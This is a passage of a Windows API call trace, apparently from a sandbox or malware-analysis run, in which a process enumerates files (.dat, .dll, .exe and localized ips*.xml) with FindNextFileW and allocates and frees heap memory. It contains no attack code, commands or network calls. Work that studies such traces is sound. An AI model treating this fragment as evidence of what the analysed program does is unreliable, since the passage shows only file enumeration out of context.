lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7488 [0232.215] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f58e8 [0232.215] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f74a8 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5970 [0232.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f74c8 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f59f8 [0232.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.216] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.216] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.217] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.217] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f74e8 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5a80 [0232.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.217] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7508 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5b08 [0232.217] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.217] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0232.217] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7528 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5b90 [0232.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.218] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7548 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5c18 [0232.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.218] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7568 [0232.218] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5ca0 [0232.218] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.218] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7588 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5d28 [0232.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.219] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f75a8 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5db0 [0232.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.219] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f75c8 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5e38 [0232.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.219] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.219] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.219] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.219] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f75e8 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5ec0 [0232.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.220] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff6a8 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5f48 [0232.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.220] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff6c8 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5fd0 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x280) returned 0x8ffe90 [0232.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f7610) returned 1 [0232.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.220] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.220] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.220] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8ff6e8 [0232.221] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6058 [0232.221] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.221] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, 